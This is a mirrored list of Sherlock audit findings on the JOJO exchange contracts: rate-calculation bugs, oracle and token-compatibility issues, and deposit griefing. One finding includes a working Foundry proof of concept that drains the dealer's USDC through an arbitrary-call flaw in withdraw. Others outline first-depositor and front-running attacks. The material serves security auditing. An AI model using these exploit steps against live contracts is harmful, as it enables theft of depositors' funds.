GithubHelp home page GithubHelp logo

2023-12-jojo-exchange-update-judging's People

Contributors

sherlock-admin avatar sherlock-admin2 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

2023-12-jojo-exchange-update-judging's Issues

dany.armstrong90 - JUSDBankStorage.sol#accrueRate function has an error in calculating the tRate.

dany.armstrong90

high

JUSDBankStorage.sol#accrueRate function has an error in calculating the tRate.

Summary

JUSDBankStorage.sol#accrueRate function calculates the value of tRate larger than the right value.
Thus the borrowers of JUSDBank will lose more JUSD tokens when repaying or liquidating.

Vulnerability Detail

JUSDBankStorage.sol#accrueRate function and getTRate function are the following.

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
59:     tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
65:     uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
        return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
    }

As can be seen, the calculation formula for tRate in L59 of accrueRate function differs with L65 of getTRate function.
When tRate = 1e18, the formula of L59 is equal to L65.
JUSDBank.sol#L39 is following.

        tRate = Types.ONE;

That is, since the initial value of tRate is 1e18 and it increases by time, tRate > 1e18 will be always hold true.
When tRate > 1e18, the value of L59 will be larger than L65 as follows.

    tRateInL59 = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18)
          = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR) + tRate.decmialMul(1e18)
          = tRate * (timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR / 1e18 + tRate * 1e18 / 1e18
          > (timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + tRate = tRateInL65

Since tRate > 1e18 increases by time, the difference of two values will be larger and larger.
Since borrowRate is the increase amount of tRate in a year, the L65 of getTRate is right but not for L59 of accrueRate function.

Impact

accrueRate function calculates the value of tRate larger than the right value.
accrueRate function is called from borrow, repay and liquidate function of JUSDBank.sol.
Thus borrowers will lose more JUSD tokens when repaying or liquidating.
As tRate > 1e18 continues to increases, the deviation of calculation becomes larger and larger.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBankStorage.sol#L59

Tool used

Manual Review

Recommendation

Modify JUSDBankStorage.sol#accrueRate function as follows.

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
--      uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
--      tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
++      tRate = getTRate();
        lastUpdateTimestamp = currentTimestamp;
    }

Duplicate of #1

AuditorPraise - `collateral` should approve `jusdBank` to 0 first because collateral can be USDT

AuditorPraise

medium

collateral should approve jusdBank to 0 first because collateral can be USDT

Summary

USDT needs approvals to be set to 0 first

Vulnerability Detail

collateral can be USDT and the collateral doesn't approve jusdBank to 0 first before setting it to uint256.max

Impact

since collateral doesn't set jusdBank to 0 first USDT is incompatible as a collateral.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L77

Tool used

Manual Review

Recommendation

make collateral approve jusdBank to 0 first because collateral can be USDT

lil.eth - No check for Arbitrum Sequencer being down means stale prices may be accepted

lil.eth

medium

No check for Arbitrum Sequencer being down means stale prices may be accepted

Summary

Because of how Arbitrum Enqueues TXs while the sequencer is down, TXs with an older timestamp may be accepted, allowing the usage of stale prices

Vulnerability Detail

In lack of checks, the transaction will be queued, resulting in the ability to use older prices as the timestamp from L1 will be the one of the original submission and not the one of the time of processing.

This is because Arbitrum will enqueue the TX and store the original Timestamp from L1 at the time of original submission and not processing

Impact

Stable prices may be used after the sequence comes back online

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/oracle/OracleAdaptor.sol#L66

Tool used

Manual Review

Recommendation

https://docs.chain.link/data-feeds/l2-sequencer-feeds#arbitrum

See the queue system here:
https://docs.chain.link/data-feeds/l2-sequencer-feeds/

Remediation Steps
Consider reverting if the Sequencer is offline.

Check the Chainlink Documentation for a full example:
https://docs.chain.link/data-feeds/l2-sequencer-feeds#example-code

Duplicate of #67

bughuntoor - User can force revert max deposits to JUSDBank

bughuntoor

medium

User can force revert max deposits to JUSDBank

Summary

User can force revert max deposits to JUSDBank

Vulnerability Detail

Within the JUSDBank contract, users can deposit collateral and borrow JUSD against it. The problem is there is maxDepositAmountPerAccount. This would mean that if a user attempts to stake up to max balance, an adversary can just grief deposit 1 wei and force the user's tx to revert.

        require(
            user.depositBalance[collateral] <= reserve.maxDepositAmountPerAccount,
            Errors.EXCEED_THE_MAX_DEPOSIT_AMOUNT_PER_ACCOUNT
        );

This creates a serious risk in certain scenario when user is close to liquidation.

  1. User is close to liquidation.
  2. User attempts to deposit up to the allowed cap.
  3. Another user sees this and front-runs it, depositing 1 wei.
  4. The innocent user's tx reverts
  5. Due to the user being unable to deposit, they might get unfairly liquidated.

Impact

Unfair liquidation, griefing.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBank.sol#L252C1-L264C6

Tool used

Manual Review

Recommendation

Either set up a minimum deposit amount or if the user tries to deposit more than the cap, deposit up to the cap and refund the rest.

T1MOH - ConstOracle.sol doesn't fully implement IPriceSource.sol

T1MOH

medium

ConstOracle.sol doesn't fully implement IPriceSource.sol

Summary

ConstOracle.sol doesn't have method getAssetPrice()

Vulnerability Detail

It is specified in README that ConstOracle will be set after collateral is delisted:

unused contract: in the delist, we will replace the oracle to make the price anchored a fixed price

However ConstOracle.sol doesn't have method getAssetPrice(), this will cause a revert in some other interactions:

  1. Liquidator can't receive that delisted asset in liquidation., note that he can specify any collateral that user deposited.
function liquidate(...)
        external
        override
        isValidOperator(msg.sender, liquidator)
        nonFlashLoanReentrant
        returns (Types.LiquidateData memory liquidateData)
    {
        ...
        liquidateData = _calculateLiquidateAmount(liquidated, collateral, amount);
        ...
    }

    function _calculateLiquidateAmount(
        address liquidated,
        address collateral,
        uint256 amount
    )
        internal
        view
        returns (Types.LiquidateData memory liquidateData)
    {
        Types.UserInfo storage liquidatedInfo = userInfo[liquidated];
        require(_isStartLiquidation(liquidatedInfo, tRate), Errors.ACCOUNT_IS_SAFE);
        Types.ReserveInfo memory reserve = reserveInfo[collateral];
@>      uint256 price = IPriceSource(reserve.oracle).getAssetPrice();
        ...
    }
  1. Some view functions will revert, but that's low impact
    https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDView.sol#L30
    https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDView.sol#L55

Impact

Liquidator can't liquidate delisted collateral

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/oracle/ConstOracle.sol#L8

Tool used

Manual Review

Recommendation

Add missing method

bughuntoor - Unsafe `call` allows an arbitrary user to steal all funds within JOJODealer

bughuntoor

high

Unsafe call allows an arbitrary user to steal all funds within JOJODealer

Summary

Unsafe call allows an arbitrary user to steal all funds within JOJODealer

Vulnerability Detail

In the withdraw function, if the user passes data, the contract tries to call the the specified to address with the provided data.

        if (param.length != 0) {
            require(Address.isContract(to), "target is not a contract");
            (bool success,) = to.call(param);
            if (success == false) {
                assembly {
                    let ptr := mload(0x40)
                    let size := returndatasize()
                    returndatacopy(ptr, 0, size)
                    revert(ptr, size)
                }
            }

A user can simply specify the to address as the ERC20 contract with transfer method and steal all funds within the contract.
The user can do the same with the transferFrom to steal all outstanding allowances the users might have towards the contract.

Impact

Completely draining the contract + user allowances

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L173C1-L183C14

Tool used

Manual Review

Recommendation

Do not allow arbitrary calls

Duplicate of #7

rvierdiiev - FundingRateArbitrage allows users to avoid loss

rvierdiiev

high

FundingRateArbitrage allows users to avoid loss

Summary

FundingRateArbitrage allows users to avoid loss as they can just simply not withdraw and keep jusd.

Vulnerability Detail

Users provide usdc into FundingRateArbitrage contract. Then contract deposits same amount of jusd to user's account and user can withdraw those funds and use them.

USDC that were provided by users are going to be swapped to eth, then used to borrow jusd in the bank and then use jusd to participate in perp trading. The aim of FundingRateArbitrage is to earn additional funds from pepr markets and increase index price, which means that user's will be able to get more funds then they have deposited.

As FundingRateArbitrage will hold some positions in perp market, then it's possible that they will loose some funds(because of price change) and they can even be liquidated, which makes it possible to index price become less than 1. Such case signals that FundingRateArbitrage contract faced a loss and not users who will requestWithdraw will receive smaller amount of usdc.

However in this finding i want to flag, that in case if such thing will happen, then user will not call requestWithdraw anymore, because it means that they will need to burn bigger amount of jusd for smaller amount of usdc. All user will likely hold jusd or swap it on some market and get better price.

This will mean pure loss of jusd for the protocol as those jusd was covered by usdc.
So currently user can be sure that they will not lose funds with FundingRateArbitrage contract.

Impact

Loss is not distributed among depositors.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

I would redesign this contract to be similar to erc4626 vault that mints own tokens and do not deposit jusd for users.

Duplicate of #35

bareli - The return value of an external call is not stored in a local or state variable.

bareli

medium

The return value of an external call is not stored in a local or state variable.

Summary

approve(address spender, uint256 amount) โ†’ bool

Vulnerability Detail

IERC20(usdc).approve(jojoDealer, usdcAmount);

Impact

we will not know whether its approved or not.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/DepositStableCoinToDealer.sol#L66

Tool used

Manual Review

Recommendation

Ensure that all the return values of the function calls are used.

bareli - use safetransferfrom and safetransfer instead of transferfrom and transfer

bareli

medium

use safetransferfrom and safetransfer instead of transferfrom and transfer

Summary

we should be using safetransferfrom and safetransfer instead of transferfrom and transfer.The return value of an external transfer/transferFrom call is not checked

Vulnerability Detail

        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L263

Tool used

Manual Review

Recommendation

Use SafeERC20, or ensure that the transfer/transferFrom return value is checked.

Duplicate of #49

cawfree - Loss of Funds: `JOJODealer.sol` can be drained via calls to `executeWithdraw`.

cawfree

high

Loss of Funds: JOJODealer.sol can be drained via calls to executeWithdraw.

Summary

When calling executeWithdraw(address,address,bool,bytes), the caller is permitted to specify an arbitrary to address and an arbitrary bytes payload, param. When to is a contract, the arbitrary payload is used as calldata for invocation.

An attacker can exploit this by specifying a to address of an asset managed or approved to the JojoDealer, such as $USDC, and provide calldata to exploit this.

Vulnerability Detail

In the test below, we demonstrate that during a normal withdrawal flow, an attacker can specify they wish to withdraw to a trusted contract with an arbitrary bytes payload.

In this flow, the _ATTACKER approves themselves to spend the full USDC balance of the jojoDealer:

DealerFundTest.sol

function testWithdrawInternalTransferSherlock() public {
    jojoDealer.setWithdrawTimeLock(10);

    // First, `traders[0]` configures a position.
    vm.startPrank(traders[0]);
    jojoDealer.deposit(1_000_000e6, 1_000_000e6, traders[0]);
    jojoDealer.requestWithdraw(traders[0], 500_000e6, 200_000e6);

    cheats.expectRevert("JOJO_WITHDRAW_PENDING");
    jojoDealer.executeWithdraw(traders[0], traders[1], true, "");
    vm.stopPrank();

    // Let's also configure an attacker with some balance
    // to deposit.
    address _ATTACKER = address(0x69);

    vm.startPrank(_ATTACKER);

    // Mint some initial collateral.
    usdc.mint(_ATTACKER, 1e6);
    jusd.mint(_ATTACKER, 1e6);

    // Configure approvals.
    usdc.approve(address(jojoDealer), 1e6);
    jusd.approve(address(jojoDealer), 1e6);

    // Make a deposit.
    jojoDealer.deposit(1e6, 1e6, _ATTACKER);

    vm.stopPrank();

    // Simulate the passage of time. (Instead of using `vm.warp`,
    // we are following conventions in `DealerFundTest.t.sol`).
    jojoDealer.setWithdrawTimeLock(0);

    // Time to initialize the attack.
    vm.startPrank(_ATTACKER);

    // To start, verify we are unable to spend the dealer's funds:
    assertEq(usdc.allowance(address(jojoDealer), _ATTACKER), 0);

    // Here, we withdraw our collateral to the USDC address.
    jojoDealer.executeWithdraw(_ATTACKER, address(usdc), true, abi.encodeWithSignature("approve(address,uint256)", _ATTACKER, type(uint256).max));

    // Now assert that we can:
    assertEq(usdc.allowance(address(jojoDealer), _ATTACKER), type(uint256).max);

    // Verify we don't have an initial starting balance.
    assertEq(usdc.balanceOf(_ATTACKER), 0);

    // Excellent. Let's take everything.
    usdc.transferFrom(address(jojoDealer), _ATTACKER, usdc.balanceOf(address(jojoDealer)));

    // Confirm we took everything.
    assertEq(usdc.balanceOf(_ATTACKER), 1000001000000);

    vm.stopPrank();
}

As JojoDealer is a critical system component, this attack can be further generalized to further exploit different token approvals or balances.

Impact

I've labelled this as high severity, since an attacker can very easily drain the contract through a normal user journey with no complex additional setup, restrictive financial barrier or dependence upon a trusted actor.

In addition, since the vulnerable contract will receive token spend approvals from users (and for good user experience, user interfaces will often try to approve type(uint256).max for expenditure), the potential losses incurred through interacting with the contract can be far larger than what is demonstrated here.

Code Snippet

function _withdraw(
    Types.State storage state,
    address spender,
    address from,
    address to,
    uint256 primaryAmount,
    uint256 secondaryAmount,
    bool isInternal,
    bytes memory param
)
    private
{
    if (spender != from) {
        state.primaryCreditAllowed[from][spender] -= primaryAmount;
        state.secondaryCreditAllowed[from][spender] -= secondaryAmount;
        emit Operation.FundOperatorAllowedChange(
            from, spender, state.primaryCreditAllowed[from][spender], state.secondaryCreditAllowed[from][spender]
        );
    }
    if (primaryAmount > 0) {
        state.primaryCredit[from] -= SafeCast.toInt256(primaryAmount);
        if (isInternal) {
            state.primaryCredit[to] += SafeCast.toInt256(primaryAmount);
        } else {
            IERC20(state.primaryAsset).safeTransfer(to, primaryAmount);
        }
    }
    if (secondaryAmount > 0) {
        state.secondaryCredit[from] -= secondaryAmount;
        if (isInternal) {
            state.secondaryCredit[to] += secondaryAmount;
        } else {
            IERC20(state.secondaryAsset).safeTransfer(to, secondaryAmount);
        }
    }

    if (primaryAmount > 0) {
        // if trader withdraw primary asset, we should check if solid safe
        require(Liquidation._isSolidIMSafe(state, from), Errors.ACCOUNT_NOT_SAFE);
    } else {
        // if trader didn't withdraw primary asset, normal safe check is enough
        require(Liquidation._isIMSafe(state, from), Errors.ACCOUNT_NOT_SAFE);
    }

    if (isInternal) {
        emit TransferIn(to, primaryAmount, secondaryAmount);
        emit TransferOut(from, primaryAmount, secondaryAmount);
    } else {
        emit Withdraw(to, from, primaryAmount, secondaryAmount);
    }

    if (param.length != 0) {
        require(Address.isContract(to), "target is not a contract");
        (bool success,) = to.call(param);
        if (success == false) {
            assembly {
                let ptr := mload(0x40)
                let size := returndatasize()
                returndatacopy(ptr, 0, size)
                revert(ptr, size)
            }
        }
    }
}

Tool used

Vim, Foundry

Recommendation

Do not permit arbitrary function calls from trusted contracts designed to hold funds or receive token approvals.

Possible remediations:

  1. Move the ability to originate arbitrary external calls to a dumb contract which does not act as a trusted component of the stack.
  2. Require that targets are executed using a formal JOJO-specific callback interface.

Duplicate of #7

rvierdiiev - Rate calculation inconsistency inside JUSDBankStorage

rvierdiiev

medium

Rate calculation inconsistency inside JUSDBankStorage

Summary

JUSDBankStorage has 2 functions that are used to calculated current borrow rate and they do calculations in different way.

Vulnerability Detail

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBankStorage.sol#L53-L66

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
        tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
        return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
    }

tRate is borrow rate and function accrueRate calculates it as
tRate = tRate * (timeDifference * borrowFeeRate / Types.SECONDS_PER_YEAR + 1)
and getTRate function calculates it as tRate = tRate + timeDifference * borrowFeeRate / Types.SECONDS_PER_YEAR

Both these functions should provide same result of tRate, but as you can see it is not like that.

Because of that, different tRate will be used by another parts of protocol. For example borrow balance will use getTRate function result, while repay will use rate after accrueRate is called. So when user will calculate amount that he needs to repay, then amount can be calculated using getTRate, and when he will be repaying, then tRate will be updated using accrueRate which will lead to another borrow amount.

Impact

tRate is calculated differently in different part of protocol.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

You need to use single approach.

Duplicate of #1

lil.eth - Index Devaluation Lockout in Liquidity Withdrawals

lil.eth

medium

Index Devaluation Lockout in Liquidity Withdrawals

Summary

The getIndex() function calculates the ratio between netValue and totalEarnUSDCBalance. If this index continually decreases (which might happen if the arbitrage strategy consistently underperforms or if there are other factors decreasing the netValue), the value of each LP's stake in terms of USDC decreases correspondingly and due to the requirestatement in requestWithdraw() users won't be able to withdraw their deposit

Vulnerability Detail

The line require(earnUSDCBalance[msg.sender] >= lockedEarnUSDCAmount, "lockedEarnUSDCAmount is bigger than earnUSDCBalance") acts as a safeguard to ensure that LPs can only withdraw what they are entitled to based on the current index.

However, in a scenario where the index continually decreases (if not enough LPs or bad conditions) , the lockedEarnUSDCAmount (calculated as jusdOutside[msg.sender].decimalDiv(index)) for each LP would increase because it takes more earnUSDCBalance units to represent the same amount of underlying USDC due to the lowered index.

This situation would effectively lock their funds, preventing them from withdrawing the USDC amount they originally deposited, as their earnUSDCBalance doesnโ€™t suffice to cover the withdrawal request due to the devalued index.

Impact

No possibility for LPs to withdraw their funds, even with decremented value

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L289

Tool used

Manual Review

Recommendation

Implement a function to let LPs withdraw their funds even in bad conditions where they lose a part of their money

Duplicate of #35

bughuntoor - First depositor issue in `FundingRateArbitrage`

bughuntoor

medium

First depositor issue in FundingRateArbitrage

Summary

An attacker might steal an innocent user's deposit within FundingRateArbitrage

Vulnerability Detail

Upon depositing into the contract, the user specifies how much USDC they want to deposit. Then, the amount is divided by the current index and this is effectively the user's 'shares' (earnUSDCAmount).

        uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
        IERC20(usdc).transferFrom(msg.sender, address(this), amount);
        JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
        earnUSDCBalance[msg.sender] += earnUSDCAmount;

An attacker can basically do the common ERC4626 first depositor attack and steal the first depositor's assets

  • Deposit 1 wei and mint 1 share
  • Wait for innocent user's deposit (e.g. for 1e18)
  • Front-run it and donate 1e18 to the contract, making the price per share 1e18 + 1
  • Innocent user's shares get rounded down to 0.
  • Attacker can then withdraw all funds and repeat the attack.

Impact

Steal first depositor's assets

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L265C1-L268C55

Tool used

Manual Review

Recommendation

A solution would be after first depositor lock 1000 shares to a burn address

Duplicate of #54

rudolph - Potential risk of private key leakage

rudolph

medium

Potential risk of private key leakage

Summary

The withdrawal of assets requires a 24-hour approval time, users must first deposit jusd assets into the FundingRateArbitrage contract, while the privileged wallet address can withdraw jusd assets from the current contract via the refineJUSD() method, so if the private key of this privileged address is compromised, it may damage the assets of the user waiting for the withdrawal audit.

Vulnerability Detail

Users wishing to withdraw funds must first deposit JUSD tokens using the method below.
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L277C3-L277C3

    /// @notice this function is to submit a withdrawal which wiil permit by our system in 24 hours
    /// The main purpose of this function is to capture the interest and avoid the DOS attacks.
    /// @dev users need to withdraw jusd from trading system firstly or by jusd, then transfer jusd to
    /// the pool and get usdc back
    /// @param repayJUSDAmount is the repat jusd amount
    function requestWithdraw(uint256 repayJUSDAmount) external returns (uint256 withdrawEarnUSDCAmount) {
        IERC20(jusd).safeTransferFrom(msg.sender, address(this), repayJUSDAmount);
        ...

Before the user withdraws, the leak of the privileged private key will cause losses to the user and the contract.
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L151

    function refundJUSD(uint256 amount) public onlyOwner {
        IERC20(jusd).safeTransfer(msg.sender, amount);
    }

Impact

Code Snippet

Tool used

Foundry

Manual Review

Recommendation

Protect the private key well or use a multi-signature wallet to avoid the risk of a single private key being compromised.

joicygiore - `JUSDBankStorage::getTRate()`,`JUSDBankStorage::accrueRate()` are calculated differently, and the data calculation is biased, Causes the `JUSDBank` contract funciton result to be incorrect

joicygiore

medium

JUSDBankStorage::getTRate(),JUSDBankStorage::accrueRate() are calculated differently, and the data calculation is biased, Causes the JUSDBank contract funciton result to be incorrect

Summary

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>         tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>        return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
    }

JUSDBankStorage::getTRate(),JUSDBankStorage::accrueRate() are calculated differently, and the data calculation is biased, resulting in the JUSDBank contract not being executed correctly

Vulnerability Detail

The wrong result causes the funciton calculation results of JUSDBank::_isAccountSafe(), JUSDBank::flashLoan(), JUSDBank::_handleBadDebt, etc. to be biased,and all functions that call the relevant function will be biased

Impact

Causes the JUSDBank contract funciton result to be incorrect

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBankStorage.sol#L53-L67

Tool used

Manual Review

POC

Please add the test code to JUSDViewTest.t.sol for execution

    function testTRateDeviation() public {
        console.log(block.timestamp);
        console.log(jusdBank.lastUpdateTimestamp());
        vm.warp(block.timestamp + 18_356 days);
        jusdBank.accrueRate();
        console.log("tRate value than 2e18:", jusdBank.tRate());
        // block.timestamp for every 1 increment
        vm.warp(block.timestamp + 1);
        uint256 getTRateNum = jusdBank.getTRate();
        jusdBank.accrueRate();
        uint256 tRateNum = jusdBank.tRate();
        console.log("block.timestamp for every 1 increment, deviation:", tRateNum - getTRateNum);
        // block.timestamp for every 1 days increment
        vm.warp(block.timestamp + 1 days);
        getTRateNum = jusdBank.getTRate();
        jusdBank.accrueRate();
        tRateNum = jusdBank.tRate();
        console.log("block.timestamp for every 1 days increment, deviation:", tRateNum - getTRateNum);
    }

Recommendation

Use the same calculation formula:

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
         tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
-       return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
+       return  tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
    }

rudolph - Contract does not support deflation tokens

rudolph

medium

Contract does not support deflation tokens

Summary

This contract directly uses the input parameters entered by the user as the transfer amount and records it, without taking into account the deflation loss or transfer fees of some tokens during the transfer process.

Vulnerability Detail

The deposit() functions use safeTransferFrom() to move funds from the sender to the recipient but fail to verify if the received token amount matches the transferred amount. This could pose an issue with fee-on-transfer tokens, where the post-transfer balance might be less than anticipated, leading to balance inconsistencies. There might be subsequent checks for a second transfer, but an attacker might exploit leftover funds (such as those accidentally sent by another user) to gain unjustified credit.

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L37C1-L47C6

    function deposit(Types.State storage state, uint256 primaryAmount, uint256 secondaryAmount, address to) external {
        if (primaryAmount > 0) {
            IERC20(state.primaryAsset).safeTransferFrom(msg.sender, address(this), primaryAmount);
            state.primaryCredit[to] += SafeCast.toInt256(primaryAmount);
        }
        if (secondaryAmount > 0) {
            IERC20(state.secondaryAsset).safeTransferFrom(msg.sender, address(this), secondaryAmount);
            state.secondaryCredit[to] += secondaryAmount;
        }
        emit Deposit(to, msg.sender, primaryAmount, secondaryAmount);
    }

Tool used

VSCode, Foundry

Manual Review

Recommendation

A practical solution is to gauge the balance before and post-transfer and consider the differential as the transferred amount, instead of the predefined amount.

bareli - using of solidity 0.8.20.

bareli

medium

using of solidity 0.8.20.

Summary

This is because solidity 0.8.20 introduces the PUSH0 (0x5f) opcode which is only supported on the ETH mainnet and not on any other chains. That's why other chains can't find the PUSH0 (0x5f) opcode and throw this error. Consider using 0.8.19 for other chains. This should solve your problem.

Vulnerability Detail

pragma solidity ^0.8.20;

Impact

other chains can't find the PUSH0 (0x5f) opcode and throw this error

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/DepositStableCoinToDealer.sol#L5

Tool used

Manual Review

Recommendation

Consider using 0.8.19 version.

Duplicate of #32

T1MOH - All funds can be stolen from JOJODealer

T1MOH

high

All funds can be stolen from JOJODealer

Summary

Funding._withdraw() makes arbitrary call with user specified params. User can for example make ERC20 to himself and steal funds.

Vulnerability Detail

User can specify parameters param and to when withdraws:

    function executeWithdraw(address from, address to, bool isInternal, bytes memory param) external nonReentrant {
        Funding.executeWithdraw(state, from, to, isInternal, param);
    }

In the end of _withdraw() function address to is called with that bytes param:

    function _withdraw(
        Types.State storage state,
        address spender,
        address from,
        address to,
        uint256 primaryAmount,
        uint256 secondaryAmount,
        bool isInternal,
        bytes memory param
    )
        private
    {
        ...

        if (param.length != 0) {
@>          require(Address.isContract(to), "target is not a contract");
            (bool success,) = to.call(param);
            if (success == false) {
                assembly {
                    let ptr := mload(0x40)
                    let size := returndatasize()
                    returndatacopy(ptr, 0, size)
                    revert(ptr, size)
                }
            }
        }
    }

As an attack vector attacker can execute withdrawal of 1 wei to USDC contract and pass calldata to transfer arbitrary USDC amount to himself via USDC contract.

Impact

All funds can be stolen from JOJODealer

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/libraries/Funding.sol#L173-L184

Tool used

Manual Review

Recommendation

Don't make arbitrary call with user specified params

joicygiore - `FundingRateArbitrage::deposit()` is missing a minimum deposit amount check, which can lead to user withdrawals failing

joicygiore

medium

FundingRateArbitrage::deposit() is missing a minimum deposit amount check, which can lead to user withdrawals failing

Summary

FundingRateArbitrage::deposit() is missing a minimum deposit amount check, which can lead to user withdrawals failing

Vulnerability Detail

FundingRateArbitrage contract contains depositFeeRate,withdrawFeeRate,withdrawSettleFee three parameters, the user will be charged the corresponding fee when depositing and withdrawing the amount,butIf you keep withdrawSettleFee at 0, FundingRateArbitrage::requestWithdraw() can be subject to a Dos attack,if the withdrawSettleFee is set, the user may not be able to withdraw due to the amount limit

note:Withdrawal failures due to FundingRateArbitrage::getIndex() are ignored here

Please add the test code to FundingRateArbitrageTest.t.sol for execution

    function testIfSetedWithdrawSettleFeeNeedBeCheckTheMinimumAmount() public {
        // init fundingRateArbitrage
        vm.startPrank(Owner);
        fundingRateArbitrage.setDepositFeeRate(1e16);
        fundingRateArbitrage.setWithdrawFeeRate(1e16);
        fundingRateArbitrage.setWithdrawSettleFee(10e6); // withdrawSettleFee == 10e6
        vm.stopPrank();
        // init user
        address user = makeAddr("User");
        USDC.mint(user, 10e6);
        vm.startPrank(user);
        USDC.approve(address(fundingRateArbitrage), 10e6);
        assert(USDC.balanceOf(user) == 10e6);
        // deposit 10e6
        fundingRateArbitrage.deposit(10e6);
        // check balance
        uint256 userDepositAmount = fundingRateArbitrage.earnUSDCBalance(user);
        console.log(userDepositAmount);
        assert(fundingRateArbitrage.jusdOutside(user) == userDepositAmount);
        assert(USDC.balanceOf(address(fundingRateArbitrage)) + USDC.balanceOf(fundingRateArbitrage.owner()) == 10e6);
        // Withdraw
        jojoDealer.requestWithdraw(user, 0, userDepositAmount);
        vm.warp(block.timestamp + 1 days);
        jojoDealer.executeWithdraw(user, user, false, "");
        // amount < withdrawSettleFee -> revert
        jusd.approve(address(fundingRateArbitrage), userDepositAmount);
        vm.expectRevert("Withdraw amount is smaller than settleFee");
        fundingRateArbitrage.requestWithdraw(userDepositAmount);
        vm.stopPrank();
    }

Impact

if the withdrawSettleFee is set, the user may not be able to withdraw due to the amount limit

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L38-L40
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275
